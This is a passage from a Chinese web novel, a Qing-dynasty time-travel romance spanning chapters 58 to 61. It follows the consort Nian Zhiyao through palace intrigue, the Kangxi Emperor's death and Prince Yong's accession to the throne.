她也想让额娘好好休息,“额娘,我晚上再来看你。”
白芨替主子调整了一下靠枕,让她枕得更舒服些:“四格格和六阿哥真是个孝顺的孩子。”
年芷瑶看着远去的两人,眼里泛起温柔的笑意,“是啊。”
这样好的孩子,是她拥有的最好的礼物了。
八爷府上
八爷的伴读何焯正陪着八爷下棋,他是康熙四十二年的进士,因书法好而被万岁选中做了八爷的伴读,自此便跟着了八爷。
他看了看八爷:“爷是想扶持十四爷吗。”
八爷执起黑子,将棋下到了一处:“试试有何不可。”
何焯却不大看好这件事:“十四爷与四爷到底是亲兄弟,即使是四爷上位,对十四来说也不是件坏事,何必要冒风险。”
况且,他并没有看出万岁有将皇位传于十四的意思,十四爷虽说封了抚远大将军,可谁都能看得出来那不过是虚职,领兵的另有其人。
十四如今的爵位还只是个贝子,而四爷一直陪驾,又领了镶白旗,别提身边还有个年羹尧的妹妹做侧福晋。
据说那位侧福晋很得四爷宠爱,现下已为四爷生下了二子一女,就是连四福晋都得退后半步。
八爷看着手里的棋子,他不是不知皇阿玛中意人选的是四哥,不管是因孝懿皇后抚养过,还是因四哥的人品能力,都是其他兄弟比不过的。
可要让放下手中的棋子,彻底任人摆布,他也做不到。
不管十四上不上钩,也能给他的好四哥添添堵不是吗。
白芨看着一座玉观音愣了神。
年芷瑶见她这般,问了出声,“怎么了,可是有什么不对。”
自她生下小七之后,来府里送礼
的就络绎不绝,四爷都叫人搬进了她的院子,每日光是入库就要花费不少时间,白芨手里的盒子明显是礼物之一。
听见主子的声音,白芨忙将盒子端了过来,“主子看看,奴婢从未见过这样好的成色。”
年芷瑶看了过去,只见一尊玉观音静静地端在锦盒里,白玉玉质温润细腻,通体无瑕,又是大师所做,衣纹褶皱都栩栩如生,若在后世,绝对是国宝级别的珍宝。
她看了看单子,“这是德妃赏下来的。”
白芨:“正是。”
她摆了摆手,让白芨先收了起来。
等四爷来了东院,才将此物拿出来询问,“这是娘娘赏的,是否太贵重了些。”
不是她没见过好东西,而是她孩子都生三个了,也没见德妃赏过这种类别的东西,前两个孩子的赏赐只能说是中规中矩,怎么到了小七这,就成了传家宝级别的了。
四爷看了看道:“既然是娘娘赏的,那你收下便是。”
“等过段时日,再去宫里谢恩吧。”
年芷瑶点了点头,也只能如此了。
四爷抬手抚摸着她的脸,瑶儿这个月子做得好,整张脸也被养得白里透红的,看起来诱人极了。
他凑近她道:“着急将让爷过来,就是为了这事。”
年芷瑶不解地看他,她哪有让人叫他过来,不是他自己过来的吗。
不过等看清了四爷眼里暗含的神色,她便明白过来了。
呸,找什么借口,下流坯子。
四爷的手指在她的脸上游走,按住了她的后颈,轻轻叹道:“瑶儿,你真美。”
年芷瑶被四爷亲的意识模糊,不知不觉便倒在了了床上,等再睁眼时天都已经亮了,她眨了眨眼,想不明白事情怎么就从商议进宫,变成了这样。
白芨带着笑意过来,看主子和主子爷两人好,她也只有高兴的份。
“主子,四爷派人送了东西过来。”
年芷瑶看着摆了满满一桌子的首饰,心里哼了一声。
这么多年了,这人还是只会这种手段哄她。
苏培盛在一旁小心赔着笑脸,每次四爷惹了年主子,他来送东西时都生怕自己被赶出去,不过他心里再是担心,如果真的让他把这差事给别人,苏培盛也定不愿意。
说是要去永和宫谢恩,年芷瑶也就没有耽搁,过上两天收拾好东西便去了。
引路的小太监摸了摸身下丰厚的荷包,笑得格外殷勤妥贴。
他道:“侧福晋您往这走,这边不晒。”
年芷瑶冲他点头:“多谢。”
她看着宫道里来来往往的宫女太监,见了她,有的避让,有的行礼,却都十分的安静,仿佛她们在这紫禁城中不是个人,而只是主子趁手的工具。
每每瞧见,她都觉得心中一慌,小太监察觉出她得不对,扭头询问。
年芷瑶摇头:“没什么。”
她收敛神色,进了永和宫的门,依旧是熟悉的福嬷嬷将她迎进了屋门。
德妃见了她,笑道:“你来了。”
她笑着行礼:“儿臣给额娘请安。”
德妃:“快坐吧。”
“诶。”她也不跟德妃客气,这些年她面见娘娘的日子虽少,但也不是没有,对德妃,也从一开始的拘谨,到如今也能聊上几句了。
德妃与她话起家常:“前些日子,老四带了六阿哥进宫,我瞧六阿哥同四格格一样,是个好孩子。”
她点头:“你将两个孩子都养得很好。”
年芷瑶笑道:“额娘谬赞,两个孩子调皮,让额娘费心了。”
福嬷嬷为她上了茶,“侧福晋,这是今年新进的六安瓜片,也就是侧福晋来才能喝得到,旁人娘娘还舍不得上呢。”
年芷瑶笑:“那儿臣可是有口福了。”
德妃笑了笑,和她从今年流行的衣裳首饰,聊到了宜妃那新得了几盆菊花甚是好看。
年芷瑶便道:“儿臣府里也有几个养花养得好的太监,等日后也给额娘送上几盆过来。”
德妃笑,“你有心了。”
她顿了顿道:“你如今又为老四生了个健康的阿哥,是个有功的,六阿哥与七阿哥是同母的兄弟,日后合该守望相助才是。”
这是在暗指十四和四爷呢。
年芷瑶低头,“额娘说的是,亲兄弟打断骨头连着筋,又怎么会有隔夜的仇。”
德妃见她这样说,笑了起来,“这茶你若是喜欢,就带些回去。”
年芷瑶也不推辞,“那是儿臣贪额娘的东西了。”
回去了路上,她便明白了,德妃特意赏了贵重东西下来,想的就是她定会进宫谢恩。
又在点四爷和十四是同胞兄弟的事,不为别的,就是想让她日后在十四爷的事上说一说好话。
只是有些事情就算是四爷愿意让上一步,十四爷也不一定会领情。
若是四爷自小在德妃身边养大,让大的不跟小的计较也是应有之意,没什么不好开口的。
当哥哥的,怎么不能给弟弟一碗饭吃。
可四爷与德妃二人的位置却是如此的尴尬,有些话不好说,也不能说,如今倒还求到她这个外人头上了。
等在宫外的白芨见主子出来,扶着她上了马车。
看她似有心事,便问道:“主子,可是娘娘那有什么事。”
年芷瑶回过神来,她摇了摇头:“无事。”
德妃这些年待她也算好,至少她从未因着福晋挑唆对她做什么,也从不插手她与四爷之间的事,就凭这个也算是个好婆婆。
更何况,她对四格格确实多有照顾。
凭着这个,她也愿意帮一帮德妃。
永和宫
福嬷嬷为主子换了一盏茶:“娘娘,您说那年侧福晋可会帮咱们。”
德妃:“凡事凭心罢了,她帮我,我记着她的好,不帮,我也什么办法。”
她叹了口气,儿子大了,哪个她都管不了。
只是她也有私心,十四自小在她身边长大,即便做了错事,她也想为小儿子谋一条退路。
乾清宫的气氛有些不好。
太医院院判正为皇上请平安脉。
他躬身道:“万岁的身子这些日子有所好转,只是不好再劳累了。”
康熙看他,“你实话告诉朕,朕的身子还能撑多久。”
院判擦了擦额头上的汗,“若是好好休养,想来还有一两年的光景。”
晚间,四爷来了东院,问道:“娘娘可好。”
年芷瑶早就发觉,四爷私底下从来不称德妃为额娘,而是称娘娘,是以她也跟着四爷这样叫。
她道:“好呢,爷放心,我还说要找上几盆好花给娘娘送去呢。”
四爷看她:“怎么好端端地送起了花。”
年芷瑶笑道:“是九爷,不知从哪找来了几盆上好的菊花给送了宜妃娘娘送去,我看娘娘也是个爱花的,就替爷揽了这个活。”
四爷淡笑:“老九倒是有不少闲情雅致,爷会留意的。”
许是知道几个孩子都在,四爷说了这句也就不再说了。
他看了看侧间的灯光:“今日怎么这么安静。”
她院子里孩子多,一直是闹腾的一个,不说什么都不知道的小七,就是四格格和六阿哥两个人,就能将院子吵翻天。
年芷瑶笑,“四格格在练字,六阿哥和小七玩呢。”
六阿哥如今年纪还小,腕力不够,练字时间不能太长,免得伤了手腕就不好了。
两人说着话,侧间便热闹了起来。
她听六阿哥喊道:“额娘,弟弟尿尿了。”
年芷瑶忙跟着四爷走了过去,摸了摸小七的屁股,嗯,的确是尿了。
她喊了奶娘过来,看着六阿哥想要帮忙的神色,笑了笑,“弘昭快去洗手吧,有奶娘呢。”
六阿哥:“好吧。”
六月,万岁突然说要去热河避暑,这几日就要启程。
年芷瑶惊讶:“万岁的身子撑得住吗。”怎么还要去避暑,热河虽近,但到底是舟车劳顿。
四爷也要跟着去,闻言神色一顿:“皇阿玛既了下旨,咱们也只能听从。”
他轻声道:“这次你先跟着了,在家好好照看孩子便是。”
如今形势不稳,瑶儿
待在家里,他也更安心一些。
年芷瑶点头,虽然是避暑,可他们跟在万岁后面只能算个添头,还不够折腾的呢。
七阿哥又才几个月,让不让他跟着她都不放心,不如就在家里得了。
四爷:“爷留个人给你,这样也方便。”
年芷瑶又点头,这算是四爷出门的常规操作了。
“爷别担心,我等着爷日后单独带我去避暑。”
这话说得明白,四爷紧了紧她的手,道:“好。”
第59章 第59章皇位
热河行宫
年羹尧跟着引路的太监到了万岁的住处,他大礼参拜:“微臣年羹尧参见皇上。”
康熙看向他:“驱准保藏之役,你功不可没。”
年羹尧:“能万岁效力,是微臣的荣幸。”
康熙笑道:“正欲封你为你川陕总督,你可愿为朕领兵,平定青海。”
年羹尧喜不自胜:“微臣义不容辞。”
康熙抚掌:“好。”
四爷来向皇阿玛请安,他等在院外,抬头年羹尧出来后,两人对视一眼,又别开视线。
梁九功出来:“四爷,万岁让您进去。”
四爷点头:“劳烦公公了。”
梁九功:“四爷客气。”
四爷进了屋子,行礼道:“儿臣给皇阿玛请安。”
“老四啊。”
康熙冲他招了招手,“过来。”
“是。”他扶着皇阿玛起身。
康熙与他谈论着刚才出去的年羹尧:“这人是个将才,就是这性子太过桀骜。”
四爷淡淡地道:“傲才视物也是应有之意。”
康熙笑了:“你能有容人之心,这样很好。”
“朕记得你有个侧福晋是他家的吧。”
“是。”想到瑶儿,四爷不免柔和了神色。
康熙见了,伸手点了点他,“没想到啊,没想到啊老四,你还是个痴情种子。”
四爷低头:“皇阿玛别打趣儿子了。”
康熙:“罢了,朕老了,你身边能有个知心人也是好事。”
他走到书架前:“朕昨日梦到了孝诚,她指责朕没照顾好胤礽,是朕对不起她,朕本想将皇位传于她留下的血脉,却不成想”
四爷开口道:“皇阿玛也有皇阿玛的苦衷,皇额娘会明白的。”
康熙叹了口气,人老了,就开始怀念过去,“朕记得,你之前与胤礽的关系最好。”
四爷:“是,二哥一直很照顾臣弟。”
忆起往昔,四爷也失神了片刻。
康熙道:“待朕走后,封弘晳一个郡王吧,朕也好有个交代。”
四爷抬头看向皇阿玛,面露惊诧,一时竟说不出话来,好半晌才从喉咙里挤出一个是来。
康熙拍了拍他的手,“你先回吧,朕准备睡了。”
四爷:“是。”
他跪下磕了个头,退了下去。
四爷走后,年芷瑶便开始了在东院带着孩子的日常,说是带孩子,可四格格和六阿哥都大了,又有奶娘丫鬟在,等闲用不着她出手。
唯一需要她操心的就是七阿哥,和四爷走之前也没什么两样。
甚至还更轻松一些,四爷不在,她也不用管四爷吃什么用什么了,省下了不少的心。
她和两个孩子已经连着三顿午膳吃的都是锅子了,若是四爷在,定会说她不吃正餐,然后让膳房上一桌有凉有热,荤素搭配午膳。
可是涮火锅也会吃到青菜和肉呀,别提有多营养了好吗。
只要每次都要不同的锅底,就是不同的菜,她深以为然。
四爷这次留下的太监是张麒麟。
前院的太监她也算是见了个遍,这张公公虽不常见,但他话不多,人也和气,又深受四爷信任。
比起苏培盛,白芨倒更愿意和张麒麟打交道。
白芍说她看见苏公公的笑脸就起鸡皮疙瘩,生怕这人在不怀好意地给她挖坑。
年芷瑶听后笑了笑,让她别担心,倒不是她相信苏培盛的人品,而是这人一心只瞧得见四爷,就是福晋他也看不上。
只要四爷对她和孩子看重一日,苏培盛就不会做多余的事,还会一如既往地奉承着她。
张麒麟每日一早都会过来与她请安,再见见七阿哥,说是四爷临走之前交代的,他看得十分认真,还会问一遍七阿哥的奶娘,七阿哥每日吃了几顿,尿了几次,想来这些都是要写进寄给四爷的信里。
年芷瑶不禁抽了抽唇角,这人也太尽职了些吧。
她也给四爷写信,也多是孩子们的趣事,她掐指一算,四爷走了近一个月了,她也开始想他了。
想了想,她用剪子将头发剪下了一些,放入信中。
唯盼君早归。
还在热河的四爷摸着瑶儿寄来的信,感到手下有些不一样的触感,他小心地将里面的东西倒了出来,发现是一股用红线缠绕的青丝。
青丝,情思,四爷只觉得心里滚烫。
他提起笔来,却又只写下了几个字,等爷回来。
七月,正值盛夏,东院的屋子里放满了冰,倒也不是很热。
只是不能出门,一出屋子就要感受太阳是多么的热情似火。
故而她这几日的散步都放在了傍晚。
这日,年芷瑶带着人向着小花园走去,却看见一道人影立在前头。
几人停下脚步,松嬷嬷皱了皱眉,不是已经让人来开道了吗,怎么还会有人。
张麒麟走到了前头,低声呵道:“是谁在那。”
那人上前走了几步,白芨微抬灯笼,她定睛一看,来人竟然是三阿哥。
看着许久未见的三阿哥,年芷瑶问道:“三阿哥在这,可是有事。”
三阿哥冲她行礼:“年额娘,我额娘禁足时日已久,可否请年额娘开口放我额娘出来。”
他知道额娘是害年氏的孩子不成,这才被禁了足。
只是二姐姐让他等,他却不想再等了。
这事并不是额娘的本意,额娘是被蛊惑的,而且六弟的身子并未受损不是,只要年氏开口原谅额娘,想来阿玛就不会再关着额娘了。
年芷瑶皱眉:“三阿哥若想解开李姐姐的禁足,不如直接去求四爷,何必要来找我呢。”
她难道长了一张圣人面孔吗,李氏害她孩子,还要让她去给四爷求情,她是脑残吗。
虽说她是受福晋挑唆,可到底是做了不是吗。
禁足算得了什么,李氏在院子里有吃有喝,她还觉得不痛不痒呢。
三阿哥张了张嘴,说道:“年额娘,你知道的,这事不关额娘的事。”
年芷瑶用关爱傻子的眼神看他,十分怀疑这三阿哥是不是出生没带脑子,她给张麒麟递了个眼神。
张麒麟会意,他拦在了三阿哥前头:“三阿哥,如今天色晚了,您该回去休息了。”
他都有些理解不了三阿哥,虽说这花园是在前院和后院的交界,但到底是在后院不是。
你一个成人的阿哥,夜半来见庶母这事像话吗,要是让四爷知道,别说解开李侧福晋的禁足,就是你也得跟着禁足。
三阿哥看着出声的太监,他记得他,知道这是阿玛身边的太监。
想到阿玛的冷脸,三阿哥不禁后退的两步,不情不愿地道:“是我叨扰年额娘了。”
白芨怒气冲冲地扶着主子回了院子,“这三阿哥也太不像话了,怎么能直接来找主子呢,若是传出去,主子的名声还要不要了。”
三阿哥今年都十七了,若是在外头早就成家了,主子既不是他的亲生额娘,又不是嫡福晋,若是让外人知道,不定会说些什么闲言碎语呢。
白芍头一次见白芨这般情绪外露,不免开口问发生。
年芷瑶摆了摆手:“没什么,不过是碰见了个傻子,何必和傻子一般计较呢。”
一旁的张麒麟差点忍不住笑,这年主子真是什么话都敢说啊。
这日晨起,年芷瑶先送了六阿哥去读书。
便开始看起了账本子,这些都是额娘给她陪嫁的铺子庄子,铺子都是盈利的,只是盈利的多少不同,每个季度的收益都会由各个管事送过来。
额娘曾教她管家,她说人心易变,即便往日再是忠厚老实的管家,在钱财的熏染下也容易生出贪婪之心,故而不可放纵,要时常监管才是。
她翻着账册,虽说这些银子对如今的她只算是小头,可到底是额娘给她的,她也不想随意对待。
四格格如今已不在前院读书了,每日便可以多睡一会儿,她一向不在这方面管孩子,懒觉这种东西,就要小时
候多睡,等年纪大了,想睡都睡不着了。
不过想来是因着生物钟的缘故,巳时刚过,四格格就醒了,她揉了揉眼睛来屋里找额娘,“额娘,我可是起晚了。”
年芷瑶为她理了理碎发:“不晚,可要额娘为你梳头。”
四格格点头:“好。”
她记得小时候额娘经常为她梳头,可长大后,她要见的人多了,额娘便不为她梳头了,说是怕她出门不自在。
可她从来不嫌弃额娘的手艺不好,每次额娘为她梳头她都欢喜得不行。
四格格的小腿搭在椅子上一晃一晃的,“额娘,午膳我们吃什么呀。”
年芷瑶:“你想吃什么。”
四格格:“烤肉。”
“好。”
四格格笑得开心:“额娘,你真好。”
年芷瑶笑了:“只是不能多吃哦。”
四格格随了她,是容易上火的体质,这种东西吃多了嘴上就该长泡了。
“知道啦。”她拉长着声音回答。
前院
小太监见四阿哥醒来,忙上前伺候着,如今几位阿哥在府里读书,不比在宫中上书房要寅时就起床读书的严苛,只要辰时到前院书房便可。
就是这等宽松,有时五阿哥还依然会迟到。
但他们四阿哥一直严于律己,每日卯时就起,先温书,再练字,小太监看着只觉得四阿哥太过辛苦。
小太监道:“阿哥这般用功,王爷见了定会更加看重阿哥的。”
四阿哥洗漱完,“我不比三哥是长子,也不比六弟得阿玛喜爱,自然得多用功,才能让阿玛看到我。”
“去前头问问嫡额娘可有空,等我读完书,便去给她请安。”
小太监:“是。”
正院,福晋看着四阿哥过来请安的四阿哥,笑道:“又长高了,前头新做的几件衣裳可还合身。”
四阿哥:“多谢嫡额娘关心,都合适得很。”
福晋:“那便好,若是有什么短的缺的,就派人来告诉我,你读书辛苦,可不能苦了自己。”
四阿哥满眼感动:“是,嫡额娘对我真好。”
福晋:“你叫我一声嫡额娘,便是我的孩子,我不对你好对谁好。”
两个人一个濡慕,一个慈爱,活脱脱的像一对嫡亲母子。
只是假的就是假的,越是想装成真的,看起来就越是刻意,张嬷嬷看着两人,低下了头。
待四阿哥走后,福嬷嬷为福晋上了盏茶:“主子觉得四阿哥可好。”
福晋:“虽然浅显了些,倒是个知道上进的。”
去岁这时,诚亲王与敦亲王向皇上请封,立了各自的长子为世子,唯有四爷并未提出立世子一事,外界有人猜测四爷是不是对弘时不满意。
可福晋知道,四爷不提立世子,不仅是因着弘时,而是不想在这时立下世子。
他是想等着年氏的孩子长大吧,可自古立长不立贤,三阿哥若是出了意外,四阿哥便是四爷的长子。
第60章 第60章登基
四爷是半夜回的府,年芷瑶在睡梦中恍惚感觉有人在她的旁边躺下,惊讶地睁开了眼。
他轻声道;“别怕,是我。”
年芷瑶抬头看去,“爷,你怎么回来了。”
四爷今日跟着万岁的圣驾直接进了宫,直到晚膳时还未回来,她以为他今日不回府了呢。
四爷:“想你了,就回来看看。”
年芷瑶的心被暖意包围,她抱住了四爷:“那明日还要进宫吗。”
四爷揽住了她,“嗯,不急,等你醒了再去。”
她笑道:“爷,我也想你了。”
“嗯,爷知道。”他凑近她耳边道:“你送来的东西,爷还好好收着呢。”
送去的东西,年芷瑶抬头,而后想到是她一时冲动剪下的头发,不好意思地道,“爷快别说了。”
四爷拍了拍她:“瑶儿的心意,爷都知道。”
自瑶儿进府后便与人为善,她对下宽和,对上敬重,连身边的丫头都护着。
他早就觉得,如今身份已经配不上眼前的人了,可他却不能让她做上更高的位置。福晋是皇阿玛所赐,即便他不喜,也不能废了她。
四爷用力揽住了瑶儿,总有一天,他
年芷瑶感受到了四爷的热情,也热情地回应了过去,小别胜新婚嘛,她也有些想他了。
第二日,见到阿玛回来,几个孩子都高兴极了,四格格在一旁叽叽喳喳地说着自己这些日子都做了什么,六阿哥则在一旁补充说明,连七阿哥都伸出手来要抱抱。
四爷十分享受孩子们围在身边的感觉,一点没有在外头冷面王爷的样子。
见瑶儿笑他,四爷扭头拉着她坐下,年芷瑶瞪大眼睛,不是,这人后脑勺长眼睛了吗。
万岁身子不好,康熙六十一年的新年注定要难熬一些。
连新年都带着些晦涩,进了永和宫,年芷瑶下意识地看了德妃一眼,德妃还是一如既往地端坐在上首,瞧不出什么情绪,只是嘴角的笑意淡了些。
这也是常理之事,如今万岁病重,宫里谁又敢真的笑出来呢。
只是不光是她瞧德妃,她也是众人打量的焦点之一,连福晋都在看她。
前些日子,皇上下旨让四爷监国,这对有些人来说,是个不小的信号。
感受到身上的视线,年芷瑶面带微笑都一一回视了过去,还专门看了一眼福晋,不就是对视吗,来啊,都看啊,谁怕谁啊。
总算熬到宴会结束,她带着四格格和六阿哥从宫中出来,看了一眼半开的宫门,四爷还没出来,是被留下了吗。
日子越是临近,她的心里就越是不安,虽然一直在心里认定四爷就会登上皇位,可事情真的会这么顺利吗。
马车里,六阿哥问道:“额娘,皇上是生病了吗。”
他对皇上这个概念还不是很懂,只知道皇上是天下第一人,至于皇上是干什么的他也不是很清楚。
可皇上病了,宫里却像是完全变了一个模样,这让小小年纪的他第一次受到权力的冲击。
年芷瑶:“是呢,皇上病了,所以六阿哥这几日要乖乖的好不好。”
六阿哥点头:“我知道了额娘。”
四格格:“额娘放心,我会看好弟弟的。”
年芷瑶笑了:“有塔娜在,额娘就放心了。”
四格格这个年纪,正是想要为大人分担的时候,若是能帮上大人的忙,就会特别高兴。
听到她这样说,四格格果然笑得很是骄傲。
她在宫里应付了一天,只觉得疲惫异常,年芷瑶搂着两个孩子,感觉自己急需宝贝们的治愈。
这些时日,便常有太医出入乾清宫。
四爷接了监国的旨意之后,便收拾东西住进了宫里。
如今已经许久未回府上了,连换洗的衣服都是年芷瑶为他准备好,定期让苏培盛送过去的。
可来雍亲王府上送礼的却络绎不绝,四爷传话回来让人关了大门,谁都不见,不光是他们府上,其他几位阿哥也都开始闭门不出,显然是都不愿意在这个节骨眼上掺和进去。
只是万岁还在病榻,旁人已经开始为新的一任帝王押注了。
年芷瑶莫名地感受到了一些黑色幽默。
许是察觉的气氛不对,连带着六阿哥都长大了许多。
七阿哥如今已经会说话了,他开口叫哥哥抱。
六阿哥伸手抱住他:“七阿哥要听话哦。”
七阿哥点头,只是六阿哥年纪还小,实在抱不起来弟弟,两个人憋得
小脸通红,可都不愿意撒手。
年芷瑶笑了起来,伸手将七阿哥抱了起来:“额娘来抱弘晏好不好。”
她又揉了揉六阿哥的脑袋,夸赞道:“弘昭真是个好哥哥。”
她记得塔娜之前还因为有过弟弟而不高兴,弘昭倒是从未这样表现过,好像一下子就接受了弟弟。
她想了想,便问了出声。
六阿哥道:“我喜欢弟弟。”
额娘生的弟弟是不一样的,和府里的其他三个哥哥都不一样,就如同他和四姐姐一样,是最亲密的兄弟。
年芷瑶笑着摸了摸他的脑袋。
乾清宫
万岁这些日子已经很是不好,太医支支吾吾地不敢说出实情。
可几位阿哥和主位嫔妃都已日夜守在了万岁的身边,还有什么不明白的。
康熙看着底下的儿子们,对梁九功道:“将圣旨拿出来吧。”
“是。”
几个阿哥闻言,忙低下了头,面色各异。
梁九功小心地将圣旨递了过去。
皇上咳嗽了两声:“读吧。”
隆科多看了一眼皇上,接过圣旨,朗声道:“朕之皇四子胤禛,人品贵重,深肖朕躬,必能克承大统,著继朕登基即皇帝位”
圣旨有满蒙汉三语,等圣旨挨个念完,四爷已泣不成声:“皇阿玛。”
康熙睁眼看他,“朕走后,这大清就交给你了,别让朕失望。”
四爷哽咽道:“是,儿子不敢懈怠。”
康熙点头,然后彻底闭上了眼。
太医连忙上前诊脉,先后摇了摇头。
梁九功涕泪横流:“皇上殡天了。”
几个小阿哥早已哭得撕心裂肺,比前头几个哥哥,他们都还未出宫开府,外头的事也扰不了他们,对他们而言,皇阿玛只是疼爱他们的阿玛。
如今阿玛没了,皇位上坐着的人从阿玛变成了兄长,还能和之前一样吗,他们心下茫然。
十三率先跪了地:“臣弟拜见皇上。”
一个磕了头,其余人也跟着叩了下去:“吾皇万岁万岁万万岁。”
九爷也跟着磕了头,皇阿玛这是将皇位传给了老四,他眼下恍然,神色莫名。
礼部尚书蔡升元:“国不可一日无君,还请四爷先登基吧。”
隆科多,马齐,蔡升元一起跪请四爷登基。
九门已经封了,连带着雍亲王府也跟着只出不进。
年芷瑶躺在床上,只觉得这是要变天了。
夜间,她还在睡梦中,就听见远处的钟声传来,一声又一声,一直不停歇,像是要响到天荒地老一般,她睁开眼,知道这是万岁殡天了。
年芷瑶连忙起身,守着夜的白芨也掀开帘子进来,神色紧张,“主子。”
“别慌,孩子们呢。”
白芨:“四哥哥和六阿哥都醒了,奶娘陪着呢。”
年芷瑶:“让他们过来吧。”
这个时候,一家子在一块才是要紧的。
白芨:“是。”
京城被封,好几日都摆不了摊的张老三泪流满面。
“是皇上。”
“皇上没了。”
苏培盛进了王府后就直奔东院,见了年芷瑶就哭着道:“年主子,皇上崩了。”
周围人听了这个消息后都开始跟着哭,年芷瑶也连忙低头抹泪,如同天塌了一般。
然后他又咧开嘴道:“咱们王爷继位了。”嘴角是压不下的喜意。
院子里的人都跟着他先哭后喜,白芨看了看自家主子,眼里也满是惊喜。
年芷瑶问道:“四爷那可缺什么东西。”
苏培盛:“正是什么都缺呢,还是年主子想得周到。”
万岁前些病重,宫门已经封了好几天了,之前带的东西已经差不多用完了,他这次回府本来就是要多带些四爷的衣物过去,既然年主子开口,他也就能少操一些心。
他不着痕迹地捧着这位主子,主子继位,这位就是娘娘了。
想到主子见他第一句话就说,回府说一声,别让你年主子担心。
苏培盛就忍不住在心里写下一个大大的服字,就这情形还能让四爷记挂着,这位主子可是彻底将主子的心拢了过去,这哪有别人什么地啊。
听他这样说,年芷瑶便让人将四爷的贴身东西都收拾的一遍,不光是穿的用的,连带着枕头熏香都跟着装起来了。
万岁没了,四爷恐怕也睡不好,有熟悉的味道在身边,也能好受些。
看着年主子收拾东西,苏培盛还去看了一眼七阿哥,说是四爷吩咐让他见过后再回去禀告。
年芷瑶摸了摸小七的脑袋,这孩子生得晚,自他出生后,四爷就越来越忙,连回府的日子都少了,虽说是四爷最小的阿哥,可见他阿玛的日子却少得可怜。
不过,等四爷登基后,他就是皇子了,好像也没什么可怜的。
苏培盛大包小包地带走了,还特意嘱咐了张麒麟一句,照顾好年主子。
张麒麟对他点头:“放心。”
若不是怕年主子有个什么不好,他也跟着吃挂落,他不会提醒这个老对头呢。
不过临行之前,他还是又去了一趟福晋院子里,将消息传了一遍,即便主子不说,该干事的他得干了,看着一样的泛着喜意的福晋,苏培盛低下头,觉得福晋还是高兴得太早了。
福嬷嬷心中是止不住的惊喜:“主子,四爷登基了,那您”就是皇后了,这么多年,她们主子总算是熬出头了。
永和宫
四爷与德妃相看两无言。
福嬷嬷连忙为四爷上了茶,四爷登基,他们就是这天下最尊贵的母子了,若还是往常那般冷清,可怎么行。
只是几十年的隔阂也不是一朝一夕就能消除的。
四爷开口问德妃可好。
德妃道:“我这一切都好,没什么要紧的事,你如今正是事最多的时候,要多上心才是。”
四爷点头,夜长梦多,早日登基才是正事。
想了想,她又说了句:“皇上既定了你,那就是看重你,不用想太多。”
四爷看向娘娘,“是,儿子明白。”
礼部将登基一事定在了七日后,还有七天,四爷舒了一口气。
皇阿玛将皇位传给了他,他能做好这个皇帝吗,皇阿玛会失望吗,四爷在养心殿躺下,心中却翻江倒海,迟迟不能入睡。【魔蝎小说 mo xie xs .c om】
60-70
第61章 第61章进宫
这不是年芷瑶第一次进宫,却是她第一次能坐轿子进宫,她看着身旁停着的八人抬的金黄色轿辇,是贵妃的规格。
她看了一眼特意来接她的苏培盛,心下犹豫。
苏培盛笑道:“这轿子是万岁特意交待的,娘娘您快请吧。”
册封的旨意还没下,这只能说是四爷对她明晃晃的偏爱,年芷瑶的嘴角扬起了甜蜜的弧度。
她看了眼身后的几个孩子,心道这可真是拖家带口了,好在这轿子足够宽大,能容得下她们几个。
轿辇一路走到一处宫门前停了下来,白芨扶她下了轿子。
年芷瑶问道:“这是。”
苏培盛回话,“回娘娘,这是承乾宫,万岁说这座宫殿还算齐整,就让您先暂住着,等日旁的宫殿修好了,再行迁宫。”
这宫殿一时半会修不好,万岁生怕住进承乾宫是委屈了年主子,若不是几位阿哥公主也跟着进宫了,他看万岁都想直接让年主子住进养心殿了。
他道:“娘娘放心,这宫里的东西都是奴才看着人都是新换的,娘娘放心用便是。”
年芷瑶点了点头:“辛苦苏公公了。”
她和几个孩子是最先进宫的,能如此顺利,想来苏培盛没少费心,她也领他这个情。
她刚想让白芨去收拾东西,一个小太监便匆忙过来,行礼道:“娘娘,万岁招您去养心殿呢。”
年芷瑶惊讶:“这么着急。”
她看了看三个孩子。
白嬷嬷:“娘娘别担心,有奴才们照看着呢,娘娘只管去便是。”
年芷瑶伸手摸了摸塔娜的头:“额娘先去见一见阿玛,等晚上再来陪你们可好。”
四格格点头,“额娘放心,我会照顾好弟弟的。”
六阿哥也十分懂事地道:“我也会照顾好弟弟,还有姐姐的。”
年芷瑶忍俊不禁:“好,那就辛苦塔娜和弘昭了。”
四爷在养心殿前头处理完事,便着急往后殿过来,他知道今日是瑶儿进宫的日子,他本想等她先收拾一番的,只是他之后还有旁的事,只有现
下才算空闲,只能先让瑶儿过来见上一面。
年芷瑶许久未见四爷,乍一看见他还有些恍然,她上前走了两步:“爷。”
她又改口道:“万岁。”
看到她这样,四爷不禁笑了起来:“怎么,不认识朕了。”
看见他笑,年芷瑶却是忍不住哭了起来,直到见了四爷她才发觉,自己这些日子一直都是提心吊胆的,知道历史上是四爷登基又怎样,她都穿越了,还有什么是不能发生的。
若是四爷出了什么事,她都不敢想以后的日子该怎么办。
四爷搂住她哄了哄,“哭什么,都过去了,孩子们可好。”
“好着呢。”年芷瑶擦了擦泪,“六阿哥和四格格都十分懂事,知道帮我照看着弟弟。”
“七阿哥也是,到了陌生地方一点都不害怕,若不是有嬷嬷看着,我看他都要去拆家了。”
四爷有些骄傲:“朕的阿哥,自然不会是个胆小的。”
看着他熟悉的样子,年芷瑶笑了,“万岁就自夸吧。”
四爷拉着她进门:“总算是笑了,可用午膳了。”
年芷瑶摇头:“刚没来得及,就被万岁喊过来了,也不知道孩子们用得可好。”
四爷:“别担心,朕一会儿让他们赐膳过去,你先陪朕吃,好不好。”
年芷瑶点头。
午膳后,四爷拿了后宫的堪舆图给她看,“如今宫中可用的宫殿少,承乾宫你先住着,朕准备再给你新修个新宫殿。”
年芷瑶说道:“承乾宫就很好,何必要劳师动众。”
虽然她刚才没细看,可一眼望过去也是个方方正正的宫殿,宽敞明亮,并没有什么不好的。
四爷摇头,“新宫殿才好配你,你看永寿宫可好,离养心殿最近,若是不喜欢,朕准备再另择一处给你。”
出于对皇阿玛的敬重,他不准备入住乾清宫,而是想住在养心殿,如此一来,便是永寿宫离他最近。
年芷瑶见劝不动他,只能低头看过去,发现永寿宫的确离养心殿很近,从后门走,没两步路就走到了。
她点头:“都听万岁的。”
这都是四爷对她的心意,她实在不知该怎么拒绝。
四爷笑了笑,他又将拟好的分封旨意给她看,潜邸的人不多,是以有位份的嫔妃就没几个,乌拉那拉氏为皇后,她为贵妃,李氏,钮祜禄氏,耿氏,宋氏封嫔,武氏封贵人。
